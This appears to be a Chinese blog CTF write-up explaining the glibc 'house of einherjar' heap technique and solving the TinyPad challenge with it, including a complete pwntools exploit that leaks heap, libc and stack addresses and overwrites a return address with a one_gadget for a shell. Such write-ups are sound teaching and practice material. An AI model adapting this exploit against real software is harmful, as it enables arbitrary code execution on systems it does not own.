house of einherjar

house of einherjar

这个利用手段可以将 top chunk 移动到任意内存,然后通过分配的内存取得对任意内存读写的权限。

利用条件:

  • 可以修改 top chunk 相邻 chunk 的 size 域低字节(通常是 off by one )
  • 需要泄漏堆地址、目标 fake_chunk 地址用于计算 prev_size

利用方法: 修改物理相邻 top chunk 的 chunk 中 size 的 inuse 标志位,并伪造 prev_size 使其指向 fake_chunk,释放该 chunk,使 fake chunk 与 top chunk 合并。再次分配内存,将从 fake chunk 处开始分配。

fake chunk 中的 size 与 伪造 prev_size 相同来绕过 size(P) == prev_size(next_chunk(P)),并且 fd、bk、fd_nextsize、bk_nextsize 均指向 fake chunk 来绕过 check。

原理很简单,做题的时候遇到很多细节处理起来还是不太顺手…

SECCOND TinyPad

主要特点如下:

  • 没有开 PIE
  • bss 上有堆地址
  • 输入函数存在 off by one
  • 分配 note 初始填充无0截断
  • 修改 note 有0截断
  • bss 段可输入数据
  • 有 UAF,可以泄漏堆地址与libc地址

这道题貌似可以用 unlink attack,但是 edit 有 0 截断,不是很方便,于是尝试将 top chunk 移动到 bss 段上,利用创建 note 来修改 bss 段的地址表。

信息泄漏,这道题存在 UAF,先创建 note 删除后进入 unsorted bin,fd 地址是 libc 中的地址,再释放另外一个 chunk,新释放的 chunk 的 fd 指向堆中的地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# leak
Add(0x90, 'A' * 0x80) # 1
Add(0x100, 'B' * 0x80) # 2
Add(0x90, 'B' * 0x80) # 3
Add(0xf0, b'\xCC' * (0x100 - 1)) # 4
# leak libc
Del(3)
# leak heap
Del(1)

p.recvuntil('INDEX: 1\n # CONTENT: ')
leak_raw_heap = u64(p.recvn(6) + b'\x00\x00')
print("leak raw heap: ", hex(leak_raw_heap))

p.recvuntil('INDEX: 3\n # CONTENT: ')
leak_raw_libc = u64(p.recvn(6) + b'\x00\x00')
libc_base = leak_raw_libc - 0x39bb78
print("libc base: ", hex(libc_base))

edit 的内容会先读取到 tinypad(0x604020) 然后再用 strcpy 复制到对应的 note 堆内存,利用 edit 这一点,我们在 tinypad 处构造 fake chunk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
fake_chunk_addr =  0x602040
tsize = leak_raw_heap + 0xa0 - fake_chunk_addr
print("fake size: ", hex(tsize))
fake_chunk = p64(0) + p64(tsize + 1)
fake_chunk += p64(fake_chunk_addr) #fd
fake_chunk += p64(fake_chunk_addr) #bk
fake_chunk += p64(fake_chunk_addr)
fake_chunk += p64(fake_chunk_addr)
Add(0x98, b'\x11' * 0x90 + p64(tsize)) # 3
Add(0x98, b'\x22' * 0x97)
Edit(3, fake_chunk)


Del(4)
Del(3)
### 已经成功将 top 转移到 tinypad

最后泄漏__environ的值获得栈地址,计算 main 函数的返回地址保存位置,修改返回地址为 one_gadget 即可 getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Add(0xe0, 'A' * 0x20) # top -> 602130


fake_pad = p64(0xAABBCCDD11223344)
fake_pad += p64(libc_base + libc.symbols['__environ'])

Add(0xe0, fake_pad)
p.recvuntil('INDEX: 1\n # CONTENT: ')
leak_stack = u64(p.recvn(6)+b'\x00\x00')
print("leak stack: ", hex(leak_stack))
Edit(4, b'AAAAAAAA' + p64(leak_stack - 0xe8))

one_gadget = 0x3f3d6 + libc_base
Edit(1, p64(one_gadget))
Exit()
p.interactive()

完整 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
from pwn import *
context.log_level = 'debug'
import binascii
#libc_file_name = '/home/pandaos/Projects/pwn/glibc/buu/ubuntu16/libc-2.23.so'
libc_file_name = '/home/pandaos/Projects/pwn/glibc/2.23/64/lib/libc-2.23.so'
ld_file_name = '/home/pandaos/Projects/pwn/glibc/buu/ubuntu16/ld-linux-x86-64.so.2'
bin_file = './tinypad'


libc = ELF(libc_file_name)

elf = ELF(bin_file)
p = process([ld_file_name, bin_file],
env = {"LD_PRELOAD": libc_file_name})


def Add(size, content):
p.sendlineafter('(CMD)>>> ', 'A')
p.sendlineafter('(SIZE)>>> ', str(size))
p.sendlineafter('(CONTENT)>>> ', content)

def Edit(index, content):
p.sendlineafter('(CMD)>>> ', 'E')
p.sendlineafter('(INDEX)>>> ', str(index))
p.sendlineafter('(CONTENT)>>> ', content)
p.sendlineafter('(Y/n)>>> ', 'Y')

def Del(index):
p.sendlineafter('(CMD)>>> ', 'D')
p.sendlineafter('(INDEX)>>> ', str(index))

def Exit():
p.sendlineafter('(CMD)>>> ', 'Q')

# leak libc
Add(0x90, 'A' * 0x80) # 1
Add(0x100, 'B' * 0x80) # 2
Add(0x90, 'B' * 0x80) # 3
Add(0xf0, b'\xCC' * (0x100 - 1)) # 4

Del(3)
# leak heap
Del(1)

p.recvuntil('INDEX: 1\n # CONTENT: ')
leak_raw_heap = u64(p.recvn(6) + b'\x00\x00')
print("leak raw heap: ", hex(leak_raw_heap))

p.recvuntil('INDEX: 3\n # CONTENT: ')
leak_raw_libc = u64(p.recvn(6) + b'\x00\x00')
libc_base = leak_raw_libc - 0x39bb78
print("libc base: ", hex(libc_base))
# 0x55555679c1b0 + 0xa1 - fake_chunk_addr == tsize

fake_chunk_addr = 0x602040
tsize = leak_raw_heap + 0xa0 - fake_chunk_addr
print("fake size: ", hex(tsize))
fake_chunk = p64(0) + p64(tsize + 1)
fake_chunk += p64(fake_chunk_addr)
fake_chunk += p64(fake_chunk_addr)
fake_chunk += p64(fake_chunk_addr)
fake_chunk += p64(fake_chunk_addr)
Add(0x98, b'\x11' * 0x90 + p64(tsize)) #3
Add(0x98, b'\x22' * 0x97)
Edit(3, fake_chunk)

gdb.attach(p)
input('>')

Del(4)
Del(3)
### 已经成功将 top 转移到 tinypad
Add(0xe0, 'A' * 0x20) # top -> 602130


fake_pad = p64(0xAABBCCDD11223344)
fake_pad += p64(libc_base + libc.symbols['__environ'])

Add(0xe0, fake_pad)
p.recvuntil('INDEX: 1\n # CONTENT: ')
leak_stack = u64(p.recvn(6)+b'\x00\x00')
print("leak stack: ", hex(leak_stack))
Edit(4, b'AAAAAAAA' + p64(leak_stack - 0xe8))

one_gadget = 0x3f3d6 + libc_base
Edit(1, p64(one_gadget))
Exit()
p.interactive()

本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!